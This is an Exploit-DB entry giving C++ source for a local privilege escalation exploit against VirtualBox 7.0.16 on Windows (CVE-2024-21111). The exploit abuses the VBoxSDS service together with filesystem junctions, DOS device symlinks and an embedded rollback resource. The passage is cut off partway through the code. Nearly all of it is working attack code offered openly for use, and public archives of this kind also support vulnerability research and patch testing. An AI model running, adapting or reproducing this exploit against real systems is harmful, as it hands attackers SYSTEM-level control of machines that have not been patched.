Exploit-DB #52287
Description: VirtualBox 7.0.16 - Privilege Escalation
Type: local
Platform: windows
Date: 2025-05-09
Author: Milad karimi

Exploit:
# Exploit Title: VirtualBox 7.0.16 - Privilege Escalation
# Date: 2025-05-06
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: miladgrayhat@gmail.com
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# Tested on: Win x64
# CVE : CVE-2024-21111


#include <Windows.h>
#include <Shlwapi.h>
#include <WtsApi32.h>
#include <Msi.h>
#include <PathCch.h>
#include <AclAPI.h>
#include <iostream>
#include "resource.h"
#include "def.h"
#include "FileOplock.h"
#pragma comment(lib, "Msi.lib")
#pragma comment(lib, "Shlwapi.lib")
#pragma comment(lib, "wtsapi32")
#pragma comment(lib, "PathCch.lib")
#pragma comment(lib, "rpcrt4.lib")
#pragma warning(disable:4996)
struct __declspec(uuid("74AB5FFE-8726-4435-AA7E-876D705BCBA5"))
CLSID_VBoxSDS;
FileOpLock* oplock;
HANDLE hFile, vb11, h;
HANDLE hthread;
NTSTATUS retcode;
HMODULE hm = GetModuleHandle(NULL);
HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_RBS1), L"rbs");
DWORD RbsSize = SizeofResource(hm, res);
void* RbsBuff = LoadResource(hm, res);
WCHAR dir[MAX_PATH] = { 0x0 };
wchar_t filen[MAX_PATH] = { 0x0 };
DWORD WINAPI install(void*);
BOOL Move(HANDLE hFile);
void callback();
HANDLE getDirectoryHandle(LPWSTR file, DWORD access, DWORD share, DWORD
dispostion);
LPWSTR BuildPath(LPCWSTR path);
void loadapis();
VOID cb1();
VOID cb0();
BOOL Monitor(HANDLE hDir);
BOOL clearDataDir();
BOOL CreateJunction(LPCWSTR dir, LPCWSTR target) {
 HANDLE hJunction;
 DWORD cb;
 wchar_t printname[] = L"";
 HANDLE hDir;
 hDir = CreateFile(dir, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
 if (hDir == INVALID_HANDLE_VALUE) {
  printf("[!] Failed to obtain handle on directory %ls.\n", dir);
  return FALSE;
 }
 SIZE_T TargetLen = wcslen(target) * sizeof(WCHAR);
 SIZE_T PrintnameLen = wcslen(printname) * sizeof(WCHAR);
 SIZE_T PathLen = TargetLen + PrintnameLen + 12;
 SIZE_T Totalsize = PathLen + (DWORD)(FIELD_OFFSET(REPARSE_DATA_BUFFER,
GenericReparseBuffer.DataBuffer));
 PREPARSE_DATA_BUFFER Data = (PREPARSE_DATA_BUFFER)malloc(Totalsize);
 Data->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
 Data->ReparseDataLength = PathLen;
 Data->Reserved = 0;
 Data->MountPointReparseBuffer.SubstituteNameOffset = 0;
 Data->MountPointReparseBuffer.SubstituteNameLength = TargetLen;
 memcpy(Data->MountPointReparseBuffer.PathBuffer, target, TargetLen + 2);
 Data->MountPointReparseBuffer.PrintNameOffset = (USHORT)(TargetLen + 2);
 Data->MountPointReparseBuffer.PrintNameLength = (USHORT)PrintnameLen;
 memcpy(Data->MountPointReparseBuffer.PathBuffer + wcslen(target) + 1,
printname, PrintnameLen + 2);
 if (DeviceIoControl(hDir, FSCTL_SET_REPARSE_POINT, Data, Totalsize, NULL,
0, &cb, NULL) != 0)
 {
  printf("[+] Junction %ls -> %ls created!\n", dir, target);
  free(Data);
  return TRUE;
 }
 else
 {
  printf("[!] Error: %d. Exiting\n", GetLastError());
  free(Data);
  return FALSE;
 }
}
BOOL DeleteJunction(LPCWSTR path) {
 REPARSE_GUID_DATA_BUFFER buffer = { 0 };
 BOOL ret;
 buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
 DWORD cb = 0;
 IO_STATUS_BLOCK io;
 HANDLE hDir;
 hDir = CreateFile(path, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_OPEN_REPARSE_POINT, NULL);
 if (hDir == INVALID_HANDLE_VALUE) {
  printf("[!] Failed to obtain handle on directory %ls.\n", path);
  printf("%d\n", GetLastError());
  return FALSE;
 }
 ret = DeviceIoControl(hDir, FSCTL_DELETE_REPARSE_POINT, &buffer,
REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, NULL, &cb, NULL);
 if (ret == 0) {
  printf("Error: %d\n", GetLastError());
  return FALSE;
 }
 else
 {
  printf("[+] Junction %ls delete!\n", dir);
  return TRUE;
 }
}
BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target) {
 if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, object,
target)) {
  printf("[+] Symlink %ls -> %ls created!\n", object, target);
  return TRUE;
 }
 else
 {
  printf("error :%d\n", GetLastError());
  return FALSE;
 }
}
BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target) {
 if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH |
DDD_REMOVE_DEFINITION | DDD_EXACT_MATCH_ON_REMOVE, object, target)) {
  printf("[+] Symlink %ls -> %ls deleted!\n", object, target);
  return TRUE;
 }
 else
 {
  printf("error :%d\n", GetLastError());
  return FALSE;
 }
}
void runSDS(int delay) {
 if (delay == 1) {
  printf("[!] sleeping for 2 sec\n");
  Sleep(2000);
 }
 CoInitialize(NULL);
 LPVOID ppv;
 // 1st trigger to create VBoxSDS.log dir
 CoCreateInstance(__uuidof(CLSID_VBoxSDS), 0, CLSCTX_LOCAL_SERVER,
IID_IUnknown, &ppv);
 CoUninitialize();
}
BOOL checkSDSLog() {
 BOOL clear = FALSE;
 std::wstring vboxDataDir = L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log.*";
 HANDLE hFind;
 WIN32_FIND_DATA data;
 hFind = FindFirstFile(LPCWSTR(vboxDataDir.c_str()), &data);
 // iterate first VBoxSDS.log
 FindNextFile(hFind, &data);
 if (hFind != INVALID_HANDLE_VALUE) {
  do {
   if (wcswcs(data.cFileName, L"VBoxSDS.log.")) {
    runSDS(0);
    //wprintf(L"%s\n", data.cFileName);
   }
   else {
    printf("[+] Logs have been cleared!\n");
    clear = TRUE;
   }
   //wprintf(L"%s\n", data.cFileName);
  } while (FindNextFile(hFind, &data));
  FindClose(hFind);
 }
 //printf("CLEAR: %d\n", clear);
 return clear;
}
BOOL enumProc(const wchar_t* procName) {
 PWTS_PROCESS_INFO processes{};
 BOOL ok = FALSE;
 DWORD count;
 if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, NULL, 1, &processes,
&count)) {
  for (DWORD i = 0; i < count; i++) {
   if (wcswcs(processes[i].pProcessName, procName)) {
    wprintf(L"[!] Process active: %s with PID %d\n",
processes[i].pProcessName, processes[i].ProcessId);
    ok = TRUE;
    break;
   }
  }
 }
 else {
  printf("err: %d\n", GetLastError());
 }
 WTSFreeMemory(processes);
 return ok;
}
void checkIfExists() {
 if (enumProc(L"Virtual